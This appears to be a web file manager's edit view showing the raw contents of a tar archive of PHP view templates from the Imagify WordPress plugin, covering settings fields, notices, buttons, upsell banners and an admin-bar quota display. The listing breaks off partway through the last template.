Файловый менеджер - Редактировать - /home/bean7936/perfect-community.com/442aa3/views.tar
Назад
part-settings-row-custom-folder.php 0000644 00000001140 15174671777 0013471 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <p class="imagify-custom-folder-line" data-path="<?php echo '{{ROOT}}/' === $data['value'] ? '/' : esc_attr( $data['label'] ); ?>"> <input type="hidden" name="imagify_settings[custom_folders][]" value="<?php echo esc_attr( $data['value'] ); ?>" /> <?php echo esc_html( $data['label'] ); ?> <button type="button" class="imagify-custom-folders-remove"><span class="imagify-custom-folders-remove-text"><?php echo esc_html_x( 'Remove', 'custom folder', 'imagify' ); ?></span><i class="dashicons dashicons-no-alt" aria-hidden="true"></i></button> </p> notice-rating.php 0000644 00000002206 15174671777 0010046 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $this->print_template( 'notice-header', [ 'classes' => [ 'updated' ], ] ); ?> <p> <?php printf( /* translators: 1 is a "bold" tag start, 2 is the "bold" tag end, 3 is a formatted number (don't use %3$d). */ esc_html__( '%1$sCongratulations%2$s, you have optimized %1$s%3$s images%2$s and improved your website\'s speed by reducing your images size.', 'imagify' ), '<strong>', '</strong>', esc_html( number_format_i18n( $data ) ) ); ?> </p> <p class="imagify-rate-us"> <?php printf( /* translators: 1 is a "bold" tag start, 2 is the "bold" tag end + a line break tag, 3 is a link tag start, 4 is the link tag end. */ esc_html__( '%1$sDo you like this plugin?%2$s Please take a few seconds to %3$srate it on WordPress.org%4$s!', 'imagify' ), '<strong>', '</strong><br />', '<a target="_blank" href="' . esc_url( imagify_get_external_url( 'rate' ) ) . '">', '</a>' ); ?> <br> <a class="stars" target="_blank" href="<?php echo esc_url( imagify_get_external_url( 'rate' ) ); ?>">☆☆☆☆☆</a> </p> <?php $this->print_template( 'notice-footer', [ 'dismissible' => 'rating', ] ); notice-backup-folder-not-writable.php 0000644 00000001525 15174671777 0013710 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $this->print_template( 'notice-header', [ 'classes' => [ 'error' ], ] ); $backup_path = $this->filesystem->make_path_relative( get_imagify_backup_dir_path( true ) ); if ( $this->filesystem->exists( get_imagify_backup_dir_path() ) ) { /* translators: %s is a file path. */ $message = esc_html__( 'The backup folder %s is not writable by the server, original images cannot be saved!', 'imagify' ); } else { /* translators: %s is a file path. */ $message = esc_html__( 'The backup folder %s cannot be created. Is its parent directory writable by the server? Original images cannot be saved!', 'imagify' ); } echo '<p>' . sprintf( $message, "<code>$backup_path</code>" ) . '</p>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped $this->print_template( 'notice-footer' ); notice-wp-rocket.php 0000644 00000002002 15174671777 0010467 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $dismiss_url = get_imagify_admin_url( 'dismiss-notice', 'wp-rocket' ); $wprocket_url = imagify_get_wp_rocket_url(); ?> <div class="updated imagify-rkt-notice"> <a href="<?php echo esc_url( $dismiss_url ); ?>" class="imagify-notice-dismiss imagify-cross"><span class="dashicons dashicons-no"></span></a> <p class="imagify-rkt-logo"> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>logo-wprocket.png" srcset="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>logo-wprocket.svg 1x, <?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>logo-wprocket.svg 2x" alt="WP Rocket" width="118" height="32"> </p> <p class="imagify-rkt-msg"> <?php esc_html_e( 'Discover the best caching plugin to speed up your website.', 'imagify' ); ?> </p> <p class="imagify-rkt-cta"> <a target="_blank" href="<?php echo esc_url( $wprocket_url ); ?>" class="button button-primary tgm-plugin-update-modal"><?php esc_html_e( 'Get WP Rocket now', 'imagify' ); ?></a> </p> </div> part-settings-account.php 0000644 00000005610 15174671777 0011543 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; if ( defined( 'IMAGIFY_HIDDEN_ACCOUNT' ) && IMAGIFY_HIDDEN_ACCOUNT ) { if ( ! defined( 'IMAGIFY_API_KEY' ) || ! IMAGIFY_API_KEY ) { $options = Imagify_Options::get_instance(); ?> <input type="hidden" value="<?php echo esc_attr( $options->get( 'api_key' ) ); ?>" name="<?php echo esc_attr( $options->get_option_name() ); ?>[api_key]"> <?php } return; } if ( Imagify_Requirements::is_api_key_valid() ) { $user = imagify_get_cached_user(); if ( ! $user ) { // Lazyload user. Imagify_Assets::get_instance()->localize_script( 'options', 'imagifyUser', [ 'action' => 'imagify_get_user_data', '_wpnonce' => wp_create_nonce( 'imagify_get_user_data' ), ] ); } } ?> <div class="imagify-settings-section"> <?php $this->print_template( 'part-upsell' ); ?> <?php if ( ! defined( 'IMAGIFY_API_KEY' ) || ! IMAGIFY_API_KEY ) { if ( Imagify_Requirements::is_api_key_valid() ) { ?> <h2 class="imagify-options-title"> <?php esc_html_e( 'API Key', 'imagify' ); ?> </h2> <?php } else { ?> <h2 class="imagify-options-title"><?php esc_html_e( 'Your Account', 'imagify' ); ?></h2> <p class="imagify-options-subtitle"><?php esc_html_e( 'Options page isn’t available until you enter your API Key', 'imagify' ); ?></p> <?php } ?> <?php /** * API key field. */ $options = Imagify_Options::get_instance(); if ( ! $options->get( 'api_key' ) ) { ?> <p class="imagify-api-key-invite"><?php esc_html_e( 'Don\'t have an API Key yet?', 'imagify' ); ?></p> <p><a id="imagify-signup" class="button imagify-button-secondary" href="<?php echo esc_url( imagify_get_external_url( 'register' ) ); ?>" target="_blank"><?php esc_html_e( 'Create a Free API Key', 'imagify' ); ?></a></p> <?php } ?> <div class="imagify-api-line"> <label for="api_key" class="screen-reader-text"><?php echo $options->get( 'api_key' ) ? esc_html__( 'API Key', 'imagify' ) : esc_html__( 'Enter Your API Key Below', 'imagify' ); ?></label> <input type="text" size="35" value="<?php echo esc_attr( $options->get( 'api_key' ) ); ?>" name="<?php echo esc_attr( $options->get_option_name() ); ?>[api_key]" id="api_key"> <?php if ( Imagify_Requirements::is_api_key_valid() ) { ?> <span id="imagify-check-api-container" class="imagify-valid"> <span class="imagify-icon">✓</span> <?php esc_html_e( 'Your API key is valid.', 'imagify' ); ?> </span> <?php } elseif ( ! Imagify_Requirements::is_api_key_valid() && $options->get( 'api_key' ) ) { ?> <span id="imagify-check-api-container"> <span class="dashicons dashicons-no"></span> <?php esc_html_e( 'Your API key isn\'t valid!', 'imagify' ); ?> </span> <?php } ?> <input id="check_api_key" type="hidden" value="<?php echo esc_attr( $options->get( 'api_key' ) ); ?>" name="check_api_key"> </div><!-- .imagify-api-line --> <?php } ?> </div> container/data-actions.php 0000644 00000000504 15174671777 0011633 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="imagify-data-actions-container" data-id="<?php echo (int) $data['media_id']; ?>" data-context="<?php echo esc_attr( $data['context'] ); ?>"> <?php echo $data['content']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </div> <?php part-bulk-optimization-infos.php 0000644 00000011200 15174671777 0013036 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="imagify-swal-subtitle"><?php esc_html_e( 'Some information to know before launching the optimization.', 'imagify' ); ?></div> <div class="imagify-swal-quota"> <div class="imagify-space-left"> <p> <?php printf( /* translators: %s is a data quota. */ esc_html__( 'You have %s space credit left', 'imagify' ), '<span class="imagify-unconsumed-percent">' . esc_html( $data['quota'] ) . '%</span>' ); ?> </p> <div class="<?php echo sanitize_html_class( $data['quota_class'] ); ?>"> <div class="imagify-unconsumed-bar imagify-progress" style="width: <?php echo esc_attr( $data['quota'] ) . '%'; ?>;"></div> </div> </div> </div> <div class="imagify-swal-content"> <ul class="imagify-list-infos"> <li> <span class="imagify-info-icon"><svg width="36" height="36" viewBox="0 0 36 36" xmlns="http://www.w3.org/2000/svg"><g fill="#40b1d0" fill-rule="nonzero"><path d="m18 36c-9.925 0-18-8.07-18-18 0-9.925 8.07-18 18-18 9.925 0 18 8.07 18 18 0 9.925-8.07 18-18 18m0-34.435c-9.06 0-16.435 7.372-16.435 16.435 0 9.06 7.372 16.435 16.435 16.435 9.06 0 16.435-7.372 16.435-16.435 0-9.06-7.372-16.435-16.435-16.435"/><path d="m27.391 18.783l-9.391 0c-.432 0-.783-.351-.783-.783l0-12.522c0-.432.351-.783.783-.783.432 0 .783.351.783.783l0 11.739 8.609 0c.432 0 .783.351.783.783 0 .432-.351.783-.783.783"/></g></svg></span> <span> <?php esc_html_e( 'Please be aware that optimizing a large number of images can take a while depending on your server and network speed.', 'imagify' ); if ( ! empty( $data['library'] ) && get_transient( 'imagify_large_library' ) ) { printf( /* translators: %s is a formatted number. Don't use %d. */ esc_html__( 'If you have more than %s images, you will need to launch the bulk optimization several times.', 'imagify' ), esc_html( number_format_i18n( imagify_get_unoptimized_attachment_limit() ) ) ); } ?> </span> </li> <li> <span class="imagify-info-icon"><svg width="36" height="47" viewBox="0 0 36 47" xmlns="http://www.w3.org/2000/svg"><g fill="none" fill-rule="evenodd" transform="translate(-594-569)"><path d="m13.304 31.3l-7.826 0c-.432 0-.783.351-.783.783 0 .432.351.783.783.783l7.826 0c.432 0 .783-.351.783-.783 0-.432-.351-.783-.783-.783m0-4.696l-7.826 0c-.432 0-.783.351-.783.783 0 .432.351.783.783.783l7.826 0c.432 0 .783-.351.783-.783 0-.432-.351-.783-.783-.783m0 9.391l-7.826 0c-.432 0-.783.351-.783.783 0 .432.351.783.783.783l7.826 0c.432 0 .783-.351.783-.783 0-.432-.351-.783-.783-.783m0 4.696l-7.826 0c-.432 0-.783.351-.783.783 0 .432.351.783.783.783l7.826 0c.432 0 .783-.351.783-.783 0-.432-.351-.783-.783-.783m-8.609-22.696c0 .432.351.783.783.783l25.04 0c.432 0 .783-.351.783-.783 0-.432-.351-.783-.783-.783l-25.04 0c-.432 0-.783.351-.783.783m30.522-18l-21.913 0c-.105 0-.207.022-.302.061-.045.019-.08.053-.121.08-.044.03-.094.05-.131.088l-12.522 12.522c-.036.036-.056.085-.085.127-.028.042-.064.078-.083.125-.039.095-.061.197-.061.302l0 32.87c0 .432.351.783.783.783l34.435 0c.432 0 .783-.351.783-.783l0-45.39c0-.432-.351-.783-.783-.783m-22.696 2.672l0 9.85-9.85 0 9.85-9.85m21.913 42.719l-32.87 0 0-31.3 11.739 0c.432 0 .783-.351.783-.783l0-11.739 20.348 0 0 43.826m-3.913-23.478l-25.04 0c-.432 0-.783.351-.783.783 0 .432.351.783.783.783l25.04 0c.432 0 .783-.351.783-.783 0-.432-.351-.783-.783-.783m0 4.696l-14.09 0c-.432 0-.783.351-.783.783l0 14.09c0 .011.006.019.006.03.003.063.019.121.036.182.011.039.017.08.034.116.022.047.056.086.086.128.03.041.056.083.094.117.009.009.014.02.023.03.03.025.066.033.097.052.045.028.091.058.142.077.05.017.1.023.152.031.038.003.072.02.111.02l14.09 0c.161 0 .302-.059.426-.144.014-.009.03-.005.044-.014.014-.011.02-.025.033-.036.044-.038.08-.081.114-.128.028-.038.055-.072.075-.111.022-.044.034-.091.049-.141.014-.052.028-.102.031-.155.002-.019.011-.033.011-.052l0-14.09c0-.434-.351-.784-.783-.784m-12.417 14.09l2.446-2.936 2.576 1.288c.34.171.75.072.977-.23l1.722-2.295 3.13 4.173-10.852 0m11.634-1.567l-3.287-4.383c-.296-.394-.958-.394-1.252 0l-1.957 2.608-2.547-1.273c-.327-.164-.72-.08-.952.199l-2.528 3.033 0-11.14 12.522 0 0 10.955m-9.391-6.259c.862 0 1.565-.703 1.565-1.565 0-.862-.703-1.565-1.565-1.565-.862 0-1.565.703-1.565 1.565 0 .862.703 1.565 1.565 1.565" transform="translate(594 569)" fill="#40b1d0" fill-rule="nonzero"/></g></svg></span> <span> <?php esc_html_e( 'Need help or have questions?', 'imagify' ); ?> <a class="imagify-documentation-link" href="<?php echo esc_url( imagify_get_external_url( 'documentation' ) ); ?>" target="_blank"><?php esc_html_e( 'Check our documentation.', 'imagify' ); ?></a> <span> </li> </ul> </div><!-- imagify-swal-content --> <?php part-settings-library.php 0000644 00000006335 15174671777 0011560 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $settings = Imagify_Settings::get_instance(); $options = Imagify_Options::get_instance(); $option_name = $options->get_option_name(); ?> <div class="imagify-media-lib-section"> <div class="<?php echo imagify_can_optimize_custom_folders() ? 'imagify-col' : ''; ?>"> <h3 class="imagify-options-subtitle"><?php esc_html_e( 'Media Library', 'imagify' ); ?></h3> <p class="imagify-setting-line"> <?php $settings->field_checkbox( [ 'option_name' => 'resize_larger', 'label' => __( 'Resize larger images', 'imagify' ), 'attributes' => [ 'aria-describedby' => 'describe-resize_larger', ], ] ); ?> <span class="imagify-options-line"> <label for="imagify_resize_larger_w"> <?php $max_sizes = get_imagify_max_intermediate_image_size(); $resize_larger_w = $options->get( 'resize_larger_w' ); printf( /* translators: 1 is a text input for a number of pixels (don't use %d). */ esc_html__( 'to maximum %s pixels width', 'imagify' ), '<input type="number" id="imagify_resize_larger_w" min="' . esc_attr( $max_sizes['width'] ) . '" name="' . esc_attr( $option_name . '[resize_larger_w]' ) . '" value="' . esc_attr( $resize_larger_w ? $resize_larger_w : '' ) . '" size="5">' ); ?> </label> </span> <span id="describe-resize_larger" class="imagify-info"> <span class="dashicons dashicons-info"></span> <?php printf( /* translators: 1 is a number of pixels. */ esc_html__( 'This option is recommended to reduce larger images. You can save up to 80%% after resizing. The new width should not be less than your largest thumbnail width, which is actually %dpx.', 'imagify' ), esc_html( $max_sizes['width'] ) ); echo ' '; if ( function_exists( 'wp_get_original_image_path' ) ) { // WP 5.3+. echo '<strong>' . esc_html__( 'Resizing is done on upload or during optimization.', 'imagify' ) . '</strong>'; } else { esc_html_e( 'Resizing is done only during optimization.', 'imagify' ); } ?> </span> </p> <?php if ( ! imagify_is_active_for_network() ) : ?> <div class="imagify-divider"></div> <h4 class="imagify-h4-like"><?php esc_html_e( 'Files optimization', 'imagify' ); ?></h4> <p> <?php esc_html_e( 'You can choose to optimize different image sizes created by WordPress here.', 'imagify' ); ?> </p> <p> <?php printf( /* translators: 1 is a "bold" tag start, 2 is the "bold" tag end. */ esc_html__( 'The %1$soriginal size%2$s is %1$sautomatically optimized%2$s by Imagify.', 'imagify' ), '<strong>', '</strong>' ); ?> <br> <span class="imagify-success"> <?php esc_html_e( 'Remember each additional image size will affect your Imagify monthly usage!', 'imagify' ); ?> </span> </p> <?php /** * Disallowed thumbnail sizes. */ $settings->field_checkbox_list( [ 'option_name' => 'disallowed-sizes', 'legend' => __( 'Choose the sizes to optimize', 'imagify' ), 'values' => Imagify_Settings::get_thumbnail_sizes(), 'reverse_check' => true, ] ); ?> <?php endif; ?> </div> </div> <?php button/refresh-status.php 0000644 00000001535 15174671777 0011601 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'button-imagify-refresh-status'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Refreshing status...', 'imagify' ); } $html_atts = $this->build_attributes( $data['atts'] ); ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <span class="dashicons dashicons-image-rotate"></span> <?php esc_html_e( 'Refresh status', 'imagify' ); ?> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } button/retry-optimize.php 0000644 00000002036 15174671777 0011622 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'button button-imagify-optimize'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Optimizing...', 'imagify' ); } $html_atts = $this->build_attributes( $data['atts'] ); if ( ! empty( $data['error'] ) ) { ?> <strong> <?php echo wp_kses( imagify_translate_api_message( $data['error'] ), [ 'br' => true, 'code' => true, 'em' => true, 'strong' => true, ] ); ?> </strong> <br/> <?php } ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <?php esc_html_e( 'Try again', 'imagify' ); ?> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } button/re-optimize.php 0000644 00000002327 15174671777 0011066 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'button-imagify-manual-reoptimize'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Optimizing...', 'imagify' ); } $level_labels = [ 0 => __( 'Lossless', 'imagify' ), 1 => __( 'Smart', 'imagify' ), 2 => __( 'Smart', 'imagify' ), ]; $level_label = $level_labels[ $data['optimization_level'] ]; $html_atts = $this->build_attributes( $data['atts'] ); ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <span class="dashicons dashicons-admin-generic"></span> <span class="imagify-hide-if-small"> <?php printf( /* translators: %s is an optimization level. */ esc_html__( 'Re-Optimize with %s compression', 'imagify' ), '</span>' . esc_html( $level_label ) . '<span class="imagify-hide-if-small">' ); ?> </span> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } button/optimize-missing-sizes.php 0000644 00000002276 15174671777 0013267 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'optimize-missing-sizes'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Optimizing...', 'imagify' ); } $html_atts = $this->build_attributes( $data['atts'] ); ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <span class="dashicons dashicons-admin-generic"></span> <?php printf( /* translators: 1 is the number of thumbnails to optimize, 2 is the opening of a HTML tag that will be hidden on small screens, 3 is the closing tag. */ esc_html( _n( '%2$sOptimize %3$s%1$d missing thumbnail', '%2$sOptimize %3$s%1$d missing thumbnails', $data['count'], 'imagify' ) ), esc_html( number_format_i18n( $data['count'] ) ), '<span class="imagify-hide-if-small">', '</span>' ); ?> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } button/compare-images.php 0000644 00000001046 15174671777 0011510 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); printf( '<a href="%1$s" data-id="%2$d" data-backup-src="%3$s" data-full-src="%4$s" data-full-width="%5$d" data-full-height="%6$d" data-target="#imagify-comparison-%2$d" class="imagify-compare-images imagify-modal-trigger hide-if-no-js">%7$s</a>', esc_url( $data['url'] ), esc_attr( $data['media_id'] ), esc_url( $data['backup_url'] ), esc_url( $data['original_url'] ), esc_attr( $data['width'] ), esc_attr( $data['height'] ), esc_html__( 'Compare Original VS Optimized', 'imagify' ) ); button/generate-webp.php 0000644 00000001553 15174671777 0011347 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'button-imagify-generate-webp'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Generating...', 'imagify' ); } $html_atts = $this->build_attributes( $data['atts'] ); ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <span class="dashicons dashicons-admin-generic"></span> <?php esc_html_e( 'Generate Next-Gen images versions', 'imagify' ); ?> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } button/restore.php 0000644 00000001546 15174671777 0010307 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'button-imagify-restore attachment-has-backup'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Restoring...', 'imagify' ); } $html_atts = $this->build_attributes( $data['atts'] ); ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <span class="dashicons dashicons-image-rotate"></span> <?php esc_html_e( 'Restore Original', 'imagify' ); ?> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } button/optimize.php 0000644 00000001441 15174671777 0010456 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'button-primary button-imagify-optimize'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Optimizing...', 'imagify' ); } $html_atts = $this->build_attributes( $data['atts'] ); ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <?php esc_html_e( 'Optimize', 'imagify' ); ?> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } button/processing.php 0000644 00000000502 15174671777 0010767 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); if ( empty( $data['label'] ) ) { $data['label'] = '%s'; } ?> <div class="button button-imagify-processing"> <span class="imagify-spinner"></span> <?php echo esc_html( $data['label'] ); ?> </div> <?php $this->print_js_template_in_footer( 'button/processing' ); button/delete-webp.php 0000644 00000001531 15174671777 0011013 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); $html_atts = ''; if ( empty( $data['atts'] ) ) { $data['atts'] = []; } if ( ! isset( $data['atts']['class'] ) ) { // Class used for JS. $data['atts']['class'] = 'button-imagify-delete-webp'; } if ( ! isset( $data['atts']['data-processing-label'] ) ) { // Used for JS. $data['atts']['data-processing-label'] = __( 'Deleting...', 'imagify' ); } $html_atts = $this->build_attributes( $data['atts'] ); ?> <a href="<?php echo esc_url( $data['url'] ); ?>"<?php echo $html_atts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <span class="dashicons dashicons-image-rotate"></span> <?php esc_html_e( 'Delete Next-Gen images', 'imagify' ); ?> </a> <?php if ( ! empty( $data['atts']['data-processing-label'] ) ) { $this->print_js_template_in_footer( 'button/processing' ); } part-upsell.php 0000644 00000011355 15174671777 0007560 0 ustar 00 <?php use Imagify\User\User; defined( 'ABSPATH' ) || exit; $imagify_user = new User(); $unconsumed_quota = $imagify_user ? $imagify_user->get_percent_unconsumed_quota() : 0; $infinite = $imagify_user->is_infinite(); $upgrade = ''; $price = ''; $upgrade_link = ''; $user_id = get_current_user_id(); $notices = get_user_meta( $user_id, '_imagify_ignore_notices', true ); $notices = $notices && is_array( $notices ) ? array_flip( $notices ) : []; $api_key_valid = Imagify_Requirements::is_api_key_valid(); if ( $imagify_user->is_free() && $api_key_valid && $unconsumed_quota > 20 ) { ?> <div class="imagify-col-content imagify-block-secondary imagify-mt2"> <div class="best-plan<?php echo $api_key_valid ? '' : ' hidden'; ?>"> <h3 class="imagify-user-best-plan-title"> <?php esc_html_e( 'Unlock Imagify\'s full potential', 'imagify' ); ?> </h3> <p><?php esc_html_e( 'Expand your image quota and eliminate upload limits.', 'imagify' ); ?></p> <button data-nonce="<?php echo esc_attr( wp_create_nonce( 'imagify_get_pricing_' . get_current_user_id() ) ); ?>" data-target="#imagify-pricing-modal" type="button" class="imagify-modal-trigger imagify-button imagify-button-light imagify-full-width imagify-upsell-cta imagify-get-pricing-modal"> <span class="button-text"><?php esc_html_e( 'Upgrade Now', 'imagify' ); ?></span> <svg class="imagify-svg-icon" width="23px" height="23px"> <use href="#imagify_arrow_long_right"></use> </svg> </button> </div> </div><!-- .imagify-col-content --> <?php } if ( Imagify_Requirements::is_api_key_valid() && ! $infinite && ! isset( $notices['upsell-banner'] ) && $unconsumed_quota <= 20 ) { ?> <div class="imagify-col-content imagify-upsell"> <div class="imagify-flex imagify-vcenter"> <span class="imagify-meteo-icon imagify-noshrink"><?php echo $this->get_quota_icon(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></span> <div class="imagify-space-left imagify-full-width"> <p> <?php printf( /* translators: %s is a data quota. */ esc_html__( 'You have %s space credit left', 'imagify' ), '<span class="imagify-unconsumed-percent">' . esc_html( $this->get_quota_percent() ) . '%</span>' ); ?> </p> <div class="<?php echo esc_attr( $this->get_quota_class() ); ?>"> <div class="imagify-unconsumed-bar imagify-progress" style="width: <?php echo esc_attr( $this->get_quota_percent() ) . '%'; ?>;"></div> </div> </div> </div> <?php if ( $imagify_user->is_free() ) { $upgrade = esc_html__( 'Upgrade your plan now for more!', 'imagify' ); $price = esc_html__( 'From $5.99/month only, keep going with image optimization!', 'imagify' ); $upgrade_link = IMAGIFY_APP_DOMAIN . '/subscription/?utm_source=plugin&utm_medium=upsell_banner'; } elseif ( $imagify_user->is_growth() ) { $upgrade = esc_html__( 'Upgrade your plan now to keep optimizing your images.', 'imagify' ); if ( $imagify_user->is_monthly ) { $price = esc_html__( 'For $11.99/month only, choose unlimited image optimization!', 'imagify' ); $upgrade_link = IMAGIFY_APP_DOMAIN . '/subscription/plan_switch/?label=infinite&payment_plan=1&utm_source=plugin&utm_medium=upsell_banner'; } else { $price = esc_html__( 'For $9.99/month only, choose unlimited image optimization!', 'imagify' ); $upgrade_link = IMAGIFY_APP_DOMAIN . '/subscription/plan_switch/?label=infinite&payment_plan=2&utm_source=plugin&utm_medium=upsell_banner'; } } ?> <p><?php echo $upgrade; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></p> <p><?php echo $price; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></p> <a href="<?php echo esc_url( $upgrade_link ); ?>" target="_blank" rel="noopener noreferrer" class="imagify-upsell-button imagify-full-width imagify-upsell-cta"> <?php esc_html_e( 'Upgrade now', 'imagify' ); ?> <svg class="imagify-svg-icon" width="23px" height="23px"> <use href="#imagify_arrow_long_right"></use> </svg> </a> <a href="<?php echo esc_url( get_imagify_admin_url( 'dismiss-notice', 'upsell-banner' ) ); ?>" class="imagify-notice-dismiss notice-dismiss" title="<?php esc_attr_e( 'Dismiss this notice', 'imagify' ); ?>"><span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice', 'imagify' ); ?></span></a> </div><!-- .imagify-col-content --> <?php } ?> <svg style="display: none;"> <symbol id="imagify_arrow_long_right" viewBox="0 0 512.00 512.00"> <path d="M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z" fill="currentColor"/> </symbol> </svg> admin/admin-bar-status.php 0000644 00000004763 15174671777 0011560 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $pos = strpos( $data['plan_label'], '_' ); $plan_label = false !== $pos ? substr( $data['plan_label'], 0, $pos ) : $data['plan_label']; ?> <div class="imagify-admin-bar-quota"> <div class="imagify-abq-row"> <?php if ( $data['plan_with_quota'] ) : ?> <div class="imagify-meteo-icon"><?php echo $data['quota_icon']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></div> <?php endif; ?> <div class="imagify-account"> <p class="imagify-meteo-title"><?php esc_html_e( 'Account status', 'imagify' ); ?></p> <p class="imagify-meteo-subs"><?php esc_html_e( 'Your subscription:', 'imagify' ); ?> <strong class="imagify-user-plan"><?php echo esc_html( $plan_label ); ?></strong></p> </div> </div> <?php if ( $data['plan_with_quota'] ) : ?> <div class="imagify-abq-row"> <div class="imagify-space-left"> <p> <?php printf( // translators: %s = percentage. esc_html__( 'You have %s space credit left', 'imagify' ), '<span class="imagify-unconsumed-percent">' . esc_html( $data['unconsumed_quota'] ) . '%</span>' ); ?> </p> <div class="<?php echo esc_attr( $data['quota_class'] ); ?>"> <div style="width: <?php echo esc_attr( $data['unconsumed_quota'] ); ?>%;" class="imagify-unconsumed-bar imagify-progress"></div> </div> </div> </div> <?php endif; ?> <?php if ( $data['plan_with_quota'] && $data['unconsumed_quota'] <= 20 ) : ?> <div class="imagify-upsell-admin-bar"> <?php if ( $data['unconsumed_quota'] <= 20 ) : ?> <p><i class="dashicons dashicons-warning" 